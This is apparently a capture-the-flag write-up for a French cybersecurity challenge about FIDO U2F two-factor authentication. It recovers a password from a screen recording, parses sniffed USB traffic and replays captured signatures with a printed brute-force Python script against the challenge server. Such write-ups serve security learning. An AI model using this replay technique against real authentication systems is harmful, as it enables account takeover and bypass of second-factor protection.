X-Factor - Eavesdropping FIDO U2F authentication

TLDR

This challenge is about understanding the FIDO U2F protocol, in all its subtlety. The aim of the challenge is to replay an Authentication Response previously recorded in a USB capture file.

Context of the challenge

A sponsor has asked you to recover top secret data from a competing company. You have tried several approaches to search for vulnerabilities on the exposed servers, which unfortunately proved unsuccessful: the company's servers look solid and well protected. Physical intrusion into the premises seems complex given all the necessary access badges and surveillance cameras.

One possibility lies in the remote access that the company's employees have to their collaborative work portal: access to it is done via two authentication factors, a password as well as a physical token to plug into the USB with biometric fingerprint recognition. Even if it is stolen, it will be difficult to exploit it. Installing evil maid malware on a company laptop is not an option: these are very well protected with secure boot via TPM, and disk encryption using the token.

But all hope is not lost! You take advantage of the train trip of one of the employees and his fleeting absence in the bar car to discreetly plug a miniaturized USB sniffer on the laptop. You also slip a hidden camera over his seat which could only capture a few seconds. You retrieve the camera and the sniffer stealthily after his work session: will you be able to exploit the data collected to complete your contract?

To get the X-Factor 1/2 flag, you have to log in with login and password. Then with the second authentication factor to get the flag for X-Factor 2/2.

X-Factor 1/2 - Password

The password was fairly easy to recover, given the screen recording. Indeed, when typing your password, the browser displays in clear text the last character you typed for a brief instant. By playing the video frame by frame, the password was easily recoverable. The URL as well as the username were also of interest, in order to go to the website and login.

URL : https://x-factor.france-cybersecurity-challenge.fr/login
Login : john.doe@hypersecret
Password : jesuishypersecretFCSC2022

The Site / Flag 1

There we go, first flag !

X-Factor 2/2 - USB fingerprint device

This is where things start to get funky. We are given a capture of the USB packets exchanged between the laptop of the employee and the fingerprint device. When opening this capture, Wireshark only decodes up to the USB layer, and we are left with raw HID Data fields that we do not understand. Hmmm, let's put that aside, we'll come back to it when we need.

Understanding the website code flow

The website is asking us to plug our 2FA device in order to continue. Let's first review the code of the website, in order to understand what we really have to do :

<a onclick="beginAuthen('UezmElyJs4+StNBSfKQwMsWz0wQhjDxNGzS7QKz5gt+FjYogib89AyAkCF36ELUx6Mk5EQgadN7exsTb7cV27Q==');">
    <div class="NavButtonCheck">
        Check Token
    </div>
</a>

So when we click on the Check Token button, the function beginAuthen is called with this weird base64-encoded parameter which seems to never change.

Fold
// Request a challenge from server for authentication.
// In real life, server will initiate such challenge after the initial authentication (e.g. username-password)
function beginAuthen(keyHandle) {
  $.getJSON(
    "/beginAuthen",
    { keyHandle: keyHandle },
    function(startAuthen) {
      // call U2F API to generate response for the challenge
      u2f.sign(startAuthen.appId, startAuthen.challenge,
        [ { version: startAuthen.version, keyHandle: startAuthen.keyHandle } ],
        function(data) {
          logU2FResponse(logger, data);
          logMsg(logger, "Calling server to finish the authentication...");
          finishAuthen(data);
        }, U2F_TIMEOUT_SEC);
    });
}

This functions makes an API call to /beginAuthen with our keyHandle (the param it was called with), then asks the U2F device to sign the data returned by /beginAuthen, and then calls finishAuthen.

Fold
// Send the authentication response to server for validation
function finishAuthen(signResponse) {
$.getJSON("/finishAuthen",
  signResponse,
  function(authenResult) {
    if (authenResult.code != 0) {
      logErr(logger, "Authentication failed with code " + authenResult.code);
    } else {
      logMsg(logger, "Authentication success!!");
    }

    // In real life application, the counter should be persisted and
    // verified it is incremented to detect cloning of the token
    logMsg(logger, "Authentication result: " + JSON.stringify(authenResult, null, "\t"));
    // Refresh page
    location.assign('/check');
  }
);

}

finishAuthen makes an API call to /finishAuthen with the data returned by u2f.sign, checks the resulting code returned by the API, and then redirects us to /check.

Okay. The code path is pretty straightforward. Let's dive deeper now, starting from the top. What kind of data does an API call to /beginAuthen return ?

{
  "version":"U2F_V2",
  "appId":"https://x-factor.france-cybersecurity-challenge.fr",
  "keyHandle":"MiXECXjEbxAAe7QOH2gsiNiK7bXeuGJnLUGO7kbJutdODZvuqV-T1TPpTVEVIrynmScyNOjQaRAUi0PSH8LUtQ",
  "challenge":"D5CxgaFPGIQu5fGYPEjo-YA9Dqd6y2PBoWP6p56TpFw"
}

And what if I make multiple calls ? Does the keyHandle change ? Does the challenge stay the same ? After some quick experiments, I can see the keyHandle does not change, and there seems to be only 3 different challenge values :

And what does a call to /finishAuthen with no data look like ?

{
  "code":201,
  "authentication":{}
}

Not that verbose... Maybe we could guess the name of the parameters to see if we can get a different output ? Or maybe the params are in the documentation of the u2f javascript module ?

(extracts from the FIDO U2F Javascript API documentation, which you can find easily by typing "u2f javascript api" on your favorite search engine)

To obtain an identity assertion from a locally-attached U2F token, the RP must :
- prepare a SignRequest object for each U2F token that the user has currently registered with the RP.

The SignRequest object looks exaclty like the JSON returned by the /beginAuthen API endpoint :)

In response to a sign request, the FIDO client should perform the following steps:
- Verify the application identity of the caller.
- Using the provided challenge, create a client data object.
- Using the client data, the application id, and the key handle, create a raw authentication request message [...] and send it to the U2F token.
Eventually the FIDO client must respond (via the MessageChannel or the provided callback). In the case of an error, an Error dictionary is returned. In case of success, a SignResponse is returned.

Ok, so an educated guess would be to assume that /finishAuthen expects parameters to be called keyHandle, signatureData and clientData.

Indeed, the error code when a dummy keyHandle is added is 202, then 203 when signatureData is added, and finally 207 when clientData is added. The jump in the error codes might indicate an other type of error, so we might have all the parameters names.

But we haven't addressed the elephant in the room : what the f*ck is the FIDO U2F protocol ?

The FIDO U2F protocol

The Fast IDentity Online Alliance is an alliance of companies, in order to make a standard for strong authentication. They developed the U2F protocol, as a way to authenticate strongly using an "U2F token". These token can be USB fingerprint readers, smart carts, Yubikeys, ... Here is a schema describing the FIDO U2F protocol at a high level :

FIDO U2F High-level Schema

Indeed, we can match the website code path with this schema :

  1. Call to /beginAuthen, retrieve parameters from the server
  2. Ask the U2F token to authenticate with the server parameters
  3. Verify with the server if the authentication succeeded

Wonderful ! Now let's match that with our USB capture !

But wait... Wireshark only decodes up to the USB layer, so we are gonna have to parse the FIDO U2F protocol ourselves. Once again, let's check the documentation

The raw request message is framed as a command APDU:
CLA INS P1 P2 LC1 LC2 LC3
Where:
CLA: Reserved to be used by the underlying transport protocol (if applicable). The host application shall set this byte to zero.
INS: U2F command code, defined in the following sections.
P1,P2: Parameter 1 and 2, defined by each command.
LC1-LC3: Length of the request data, big-endian coded, i.e. LC1 being MSB and LC3 LSB

The raw response data is framed as a response APDU:
SW1 SW2
Where:
SW1,SW2: Status word bytes 1 and 2, forming a 16-bit status word, defined below. SW1 is MSB and SW2 LSB.

(We don't care about status codes for now, and we will never need them in the end, so let's skip these)

That is the format we should be expecting the packets to follow.

The different types of messages are :

All of which are defined in the specs. After an (approximative) parsing of every USB packet, mainly focusing on identifying the type of each message being exchanged, we can determine that this exchange is full of Authentication Requests and Authentication Responses. There seems to be only 4 different challenges, which (approximately) matches with our three different challenges values. Also, the counter variable, which should increase with every Authentication Response in order to avoid replay attack, does not. This is one more clue to nudge us towards replaying an Authentication Response message.

Here is the parsing of an Authentication Request packet :

Authentication Request message format

The Authentication Request message format


Authentication Request message - part 1

Part 1 of the Authentication Request message in Wireshark

Here, the black square is the full HID Data field. The green square highlights P1, (0x07 means "Check user presence and sign"). The red area is the challenge, and the blue area is the beginning of the application parameter (the SHA256 hash of https://x-factor.france-cybersecurity-challenge.fr)

Authentication Request message - part 2

Part 2 of the Authentication Request message in Wireshark (following packet after part 1)

The blue area is the end of the application parameter. The brown square highlights the KeyHandle length, and the cyan area is the beginning of the keyHandle parameter.

And an example Authentication Response:

Authentication Response message format

The Authentication Response message format


Authentication Response message - part 1

Part 1 of the Authentication Response message in Wireshark

Green square is the message length. The red area is the first part of the Signature Data. It is composed of the blue square, alias the User presence flag. Brown area is the counter (which stays all zeros for every Authentication Response message).

Authentication Response message - part 2

Part 2 of the Authentication Response message in Wireshark (following packet after part 1)

The red area denotes the end of the Signature Data. The two last bytes (purple area) are the status codes, as mentionned in the doc. They should not be included in the Signature Data.

But how do the 4 challenges present in the capture relate to the 3 challenges returned by the API ? Here coooooomes, the documentation !

The registration and authentication request messages contain a challenge parameter, which is defined as the SHA-256 hash of a (UTF8 representation of a) stringified JSON data structure that the FIDO client has to prepare. [...] Dictionary ClientData Members :

Okay, so the challenges in the dump corresponds to the SHA256 hash of a JSON dictionary ? But the keys in a dictionary can be in any order ! And what about the cid_pubkey parameter ? Do we add it, or do we set it to unused ? Let's not bother asking more questions, it's time for bruteforce number one :

Fold
from hashlib import sha256
from itertools import permutations

def list_to_json(L):
    return '{' + ",".join(L) + '}'


hashes = ["9e5e67419d90aa711dda3c361678a4cd8ddf835051bc7369ccf14bf9da7bcfb3",
          "8736c5b6cb8b27617a7ccbec9f599ba460eefee042fe25b9b2a673bf43ddb1e8",
          "aceace725b0a75cddbd8945583451980e3b304fc5e203c9638c63f4d5503e78e",
          "e5aa47aebfb3c0e605103dac466f1495bdd01a2dd2cc0f4f093890114890efd8"]

challenges = ["9rlDOo98PIKIiubib97v4IDCJ1FBB2uRUhNgwH89wqw",
              "D5CxgaFPGIQu5fGYPEjo-YA9Dqd6y2PBoWP6p56TpFw",
              "L8tsCkDErRPzV9SAOlOj2JzFMXAOjmUs7JnimkH9_gI"]

client_data = []

for c in challenges:
    x = []
    x.append('"typ":"navigator.id.getAssertion"')
    x.append('"challenge":"' + c + '"')
    x.append('"origin":"https://x-factor.france-cybersecurity-challenge.fr"')

    for P in permutations(x):
        h = sha256(list_to_json(P).encode()).hexdigest()
        if h in hashes:
            print("Client data", list_to_json(P))
            print("Hash", h)
            client_data.append(list_to_json(P))
            print("")

This yields 2 results !

Client data {"challenge":"D5CxgaFPGIQu5fGYPEjo-YA9Dqd6y2PBoWP6p56TpFw","origin":"https://x-factor.france-cybersecurity-challenge.fr","typ":"navigator.id.getAssertion"}
Hash 9e5e67419d90aa711dda3c361678a4cd8ddf835051bc7369ccf14bf9da7bcfb3

Client data {"challenge":"L8tsCkDErRPzV9SAOlOj2JzFMXAOjmUs7JnimkH9_gI","origin":"https://x-factor.france-cybersecurity-challenge.fr","typ":"navigator.id.getAssertion"}
Hash 8736c5b6cb8b27617a7ccbec9f599ba460eefee042fe25b9b2a673bf43ddb1e8

Now that we have two valid Client Data JSON dictionaries and their hashes, we can keep only the Authentication Responses corresponding to these hashes....

Oooooor, we can bruteforce each of the Client Data with every Signature Response ! And even more, as I was not exactly sure when the signature packet stopped, for every Signature Response we can test multiple starting and ending points ! Let's goooo, bruteforce number two :

Fold
import requests
import time
import base64
import json

signatures = []
signatures.append("010000000030460221009683e1a139967409c2873dfdf65f770545858ea37b362bb28b12d6d38cccf442022100dcd87355102194001255c534f40737a56b147a9b40dc9f3594388627fc28195d9000")
signatures.append("010000000030450220463b9703f81c223e408e3eeb0819a42f59c3a3d05d73a0bd46a3a37d606937ab022100ba32a0969085c17a55fc210d9904402dc79aa3fb6e3a4bd89aaccff9d393123a9000")
signatures.append("0100000000304502206f1bfc402fe8911cdc9a92ecc7131eeba31706cec4810d8e60ef759d1e87426c022100ca292479b5c442677945306e3fcd175e87577c9e45d8c6a3df5d4bb0009740c39000")
signatures.append("01000000003044022050acfd22ab96e97ef49de4ff5c12f14dd1db993e6c624a42ab27d941d6808a4d0220537b989a102b228b51175010f38eaa4d550a9cafbc14110ffda2e3908c2fc5b09000")
signatures.append("01000000003046022100f60af84cfc0f3d9f33ae8ad04b617ab7cf782f70cd083a71aad738b4e75d51c0022100b43a629349cea13415263b86a1afc637cd4c92dc8673a360577311710582f9da9000")
signatures.append("0100000000304502207beaf796a934dfb7c71306947b599063b2516513003f3497d3fca41a7f38a0a4022100afcc792005ac3c601a0ff39b43ecae9d741cde398b0b70480cc9c4a61364d5b69000")
signatures.append("01000000003045022036fa3ac12593be5f31e6499f24dcaf57d38e185e1610996c04bd71a5d1125857022100a7ec50e8bb7398d3e0088abfab265369a81339532bc99c2ec55a77629d8cd7ed9000")
signatures.append("01000000003045022022bfdb52c694416b2c39bb4f33512653e6874352fbfb51331fc0242a2451e5bb022100aa610da53ed809b230326c1ba333c2d5d5b0e6052ce1c607fdb75c5b3d2d25669000")
signatures.append("0100000000304402206740e24634bbaf0b0a545e9d8da1ac7175c93cc5aeaaf289b93b8bba003d74d802207b008cfcbcf51678d91195968e9839ed02adbcc4d34703b6be5ae88e1e970bac9000")
signatures.append("01000000003045022009ba7eb1bdb2af07038e60c91f84f40962f3e088dbba3cb34b6987a6a4c8ab1a022100f5738dafa5c61ad7efe690bfe774669451fe52e16eecf06af12a6a12e78e84519000")
signatures.append("01000000003045022100b28f52e2e8c19a2ce1d8f6937a1456fad2785d35a0a2a3a20c7355634c522276022024c1b79ab09a46a7751b354f313f2471cb98a352d0fe22994ddb4f3d01ffd99e9000")

signatures = [bytes.fromhex(s) for s in signatures]

data = {
    'login': 'john.doe@hypersecret',
    'password': '•••••••••••••••••••••••••',
    'hidden': 'jesuishypersecretFCSC2022',
}

s = requests.session()

s.get('https://x-factor.france-cybersecurity-challenge.fr/login')

response = s.post('https://x-factor.france-cybersecurity-challenge.fr/login', cookies=cookies, data=data)
kh = response.text.split('onclick="beginAuthen(\'')[1].split("');")[0]


response2 = s.get('https://x-factor.france-cybersecurity-challenge.fr/beginAuthen')

new_kh = json.loads(response2.text)["keyHandle"]


needs_super_break = False
for c in client_data:
    print("On avance dans les client data")
    needs_break = False
    for _s in signatures[::1]:
        print("On avance dans les signatures")
        for j in range(0, -4, -1):
            print(j)
            if j == 0:
                url = f'https://x-factor.france-cybersecurity-challenge.fr/finishAuthen?keyHandle={ new_kh }&clientData={ base64.urlsafe_b64encode(c.encode()).decode().replace("=", "") }&signatureData={ base64.urlsafe_b64encode(_s[:]).decode().replace("=", "") }'
            else:
                url = f'https://x-factor.france-cybersecurity-challenge.fr/finishAuthen?keyHandle={ new_kh }&clientData={ base64.urlsafe_b64encode(c.encode()).decode().replace("=", "") }&signatureData={ base64.urlsafe_b64encode(_s[:j]).decode().replace("=", "") }'
            response3 = s.get(url)
            time.sleep(0.7)
            if "207" in response3.text:
                needs_break = True
            elif '"code":208,' in response3.text:
                # whatever, failed attempt
                pass
            else:
                print("====== We did it !")
                print(url)
                print(response3.text)
                needs_break = True
                needs_super_break = True
            if needs_break:
                break
        if needs_break:
            break
    if needs_super_break:
        break

final = s.get("https://x-factor.france-cybersecurity-challenge.fr/check")
flag = final.text.split("<h3>Flag: ")[1].split("</h3>")[0]
print(flag)

This version of the script is a bit improved compared to the one I started with. Indeed, I remarked a difference in the error codes returned by /finishAuthen when sending a Client Data containing a different challenge than the one provided by /beginAuthen (207 when challenges did not match, 208 when they match). So I can focus on bruteforcing all the signatures data when the Client Data corresponds (hence the check for error codes in the script).

When a Client Data and a signature match, the /finishAuthen endpoint greets us with the following :

Fold
{
  "code":0,
  "authentication": {
    "userPresence":1,
    "counter":0
  }
}

and we can go to /check to redeem the second flag !

Final thoughts

This challenge was clearly not trivial. I spent around 8 hours from the first look to the final flag, but man, what an 8 hours ! I learned so much about the USB protocol, the FIDO protocol, Wireshark (I tried to add a Wireshark plugin to parse FIDO U2F messages and failed miserably x) ). It was very well constructed, and while my way through the solving process was not always as straightforward as I present it now, I had a really good time solving it ! Big thanks to rbe from the ANSSI team, the challenge author.